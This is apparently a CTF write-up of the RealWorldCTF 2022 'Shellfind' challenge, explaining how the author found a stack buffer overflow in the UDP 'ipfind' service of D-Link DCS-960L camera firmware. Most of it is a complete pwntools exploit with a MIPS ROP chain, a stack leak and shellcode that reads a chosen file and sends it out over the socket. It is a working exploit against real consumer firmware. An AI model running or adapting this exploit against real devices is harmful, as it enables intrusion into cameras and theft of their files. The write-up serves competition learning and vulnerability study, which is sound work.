Tags: iot pwn 

Rating:

### Shellfind

was a pwn challenge from RealWorldCTF 2022 edition

The goal is to exploit a buffer overflow in an udp service on a dlink *DCS-960L* camera.

We were given only the firmware, and the hint that the service to exploit was running on an UDP port..

so I start from firmware, extract it with `binwalk`..

and start to search which service was forwarded to us by the challenge on the udp port..

we find some candidates, `ddp` , `ipfind`, and start to reverse their protocol to obtain an answer from the udp port and confirm that it was this service..

we finally identify that `ipfind` was the service forwarded to us on the udp port.. (shellfind name was probably a hint)

we start to reverse it to find a vulnerability in it.

`ipfind` has two commands basically,one to write config values, and another one that return us config values.

We found a buffer overflow in the function `sub_400F50()`, a function that it called by the write config values command, and which decode base64 given password and group sent by us..

![](https://github.com/nobodyisnobody/write-ups/raw/main/RealWorldCTF.2022/pwn/Shellfind/pics/reverse.png)

the function does not check for size of passed base64 string, and decode them directyly in a buffer on stack..

as we can send a packet of up to 0x800 bytes, we can easily overflow these two buffers.

The camera is running on a mips processor, and mips exploitation is not easy.

I finally succed in making a ROP to leak a stack value in `.bss`,

then to read another payload from the UDP socket, and overflow the buffers a second time..

but even with our leak , the aslr make the distance from our shellcode, and the leak moving a lot between run..

so resulting shellcode was unreliable, working only 1/10 times probably...

If I had more time, I will have go for a second run, leak other part of stack after the first leak, send another payload etc...

but in ctf condition you have to be quick.. so I decide that working 1/10 times was enough for succeeding...

so I did two shellcodes:

+ one, to list files via `getdents` and export the result via the already opened udp socket..to locate the flag on the remote filesystem

+ another one, to exfiltrate the flag file via the openened udp port too..

and that's all

Here is the exploit for exporting the file via udp

```python
from pwn import *
import base64

context.update(arch="mips", endian='big', os="linux")

fd = 3

context.log_level = 'info'
# shellcode that reuse the udp socket to receive filename, open it, read it, and use sento on udp socket to exfiltrate it
shellc = asm ('''
/* recvfrom */
li $v0,4176
li $a0, %d
add $a1,$sp,-1024
li $a2,0x100
move $a3,$zero

add $s0,$sp,-1048
sw $s0,16($sp)
add $s0,$sp,-1072
sw $s0,20($sp)
syscall 0x040405
nop

li $v0,4005
add $a0,$sp,-1024
move $a1,$zero
syscall 0x040405
nop

add $a0,$zero,$v0
add $a1,$sp,-16384
li $a2,8192
li $v0,4003
syscall 0x040405
nop
add $a1,$sp,-16384
add $a2,$zero,$v0

/* sendto */
li $v0,4180
li $a0, 3
move $a3,$zero
add $s0,$sp,-1048
sw $s0,16($sp)
li $s0,0x10
sw $s0,20($sp)
syscall 0x040405
nop
''' % fd)

context.log_level = 'debug'

if args.REMOTE:
p = connect('47.89.210.186', 57798)
p.sendlineafter('now:\n', 'qwkQZgWBSaq3jepFDsHf2A==')
p.recvuntil('port is : ', drop=True)
port = int( p.recvuntil(' ', drop=True),10)
print('waiting...')
sleep(40)
print('trying...')
else:
port = 62721

if args.REMOTE:
r = connect('47.89.210.186', port, typ="udp")
else:
r = connect('127.0.0.1', port, typ="udp")
# r = connect('47.89.210.186', 31761, typ="udp")

pkt = bytearray()
pkt += b'FIVI'
pkt += b'COCK'
# 8
pkt += b'\x0a'
# 9: opcode? 1 => read, 2 => write
pkt += b'\x01\x00'
# 11: idk
pkt += bytes(2)
# 13: ifaddr
pkt += bytes(4)
# 17: mac addr of device
pkt += b'\xff' * 6
# 23: no clue
pkt += bytes(2)
# 25: payload len?
pkt += bytes(4)
r.send(pkt)
resp = r.recvn(541)
remote_mac = resp[17:][:6]
remote_ifaddr = u32(resp[13:17], endian='big')
log.info('remote_mac: %s', remote_mac.hex())
log.info('remote_ifaddr: 0x%08x', remote_ifaddr)

pkt = bytearray()
pkt += b'FIVI'
pkt += b'COCK'
# 8
pkt += b'\x0a'
# 9: opcode? 1 => read, 2 => write
pkt += b'\x02\x00'
# 11: idk
pkt += bytes(2)
# 13: ifaddr
pkt += p32(remote_ifaddr, endian='big')
# 17: mac addr of device
pkt += remote_mac
# 23: no clue
pkt += bytes(2)
# 25: payload len?
pkt += p32(0x8E, endian='little')

'''
returning of sub_400f50
(dont forget in mips instruction after jr is executed too)

text:00401078 move $v0, $s0
.text:0040107C lw $ra, 0x35C+var_s8($sp)
.text:00401080 lw $s1, 0x35C+var_s4($sp)
.text:00401084 lw $s0, 0x35C+var_s0($sp)
.text:00401088 jr $ra
.text:0040108C addiu $sp, 0x368
'''

gadget1 = 0x0400F3C # set $a1
gadget2 = 0x04020B0 # move $a0, $s0
gadget3 = 0x00401078 # move $v0, $s0; lw $ra, 0x364($sp); lw $s1, 0x360($sp); lw $s0, 0x35c($sp); jr $ra; addiu $sp, $sp, 0x368;
gadget3b = 0x4010fc
gadget4 = 0x00400ca0 # lw $ra, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x20;
gadget5 = 0x00401720 # lw $s0, 0x48($sp); jr $ra; addiu $sp, $sp, 0x58;
syscall = 0x4001d8

payload1 = b'pipo'

payload2 = p32(0xdeadbeef)*145
payload2 += p32(3) # $s0
payload2 += p32(0x413138) # $s1
payload2 += p32(0x4016ec) # $ra
payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030)
payload2 += p32(0)*11+p32(fd)+p32(1)+p32(1)+p32(gadget2)

payload2 += b'\x00'*0x7c + p32(0x413138 - 0x11)+p32(0)+p32(0x400f3c)

payload2 += b'\x00'*0x20+p32(0x413134)+p32(0x4016b4)

payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030) +p32(0)*11+p32(0x413400)+p32(0x413400)+p32(0x413134)+p32(0x402410)

payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030)

pkt += base64.b64encode(payload1).ljust(64,b'\x00')
pkt += base64.b64encode(payload2)

r.send(pkt)
buff = r.recv(0x1d)
print(hexdump(buff))

stack = u32(buff[0:4])
print('stack leak = '+hex(stack))

pkt = bytearray()
pkt += b'FIVI'
pkt += b'COCK'
# 8
pkt += b'\x0a'
# 9: opcode? 1 => read, 2 => write
pkt += b'\x02\x00'
# 11: idk
pkt += bytes(2)
# 13: ifaddr
pkt += p32(remote_ifaddr, endian='big')
# 17: mac addr of device
pkt += remote_mac
# 23: no clue
pkt += bytes(2)
# 25: payload len?
pkt += p32(0x8E, endian='little')

payload2 = p32(0xdeadbeef)*145
payload2 += p32(3) # $s0
payload2 += p32(0x413138) # $s1
payload2 += p32( (stack - 0xe00) & 0xfffffff0) # $ra
payload2 += p32(0)*128 + shellc

pkt += base64.b64encode(payload1).ljust(64,b'\x00')
pkt += base64.b64encode(payload2)

r.send(pkt)
sleep(0.2)
r.send('/firmadyne/flag\x00')
while True:
print(r.recv())

r.interactive()
```

*nobodyisnobody still pwning..*

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/RealWorldCTF.2022/pwn/Shellfind).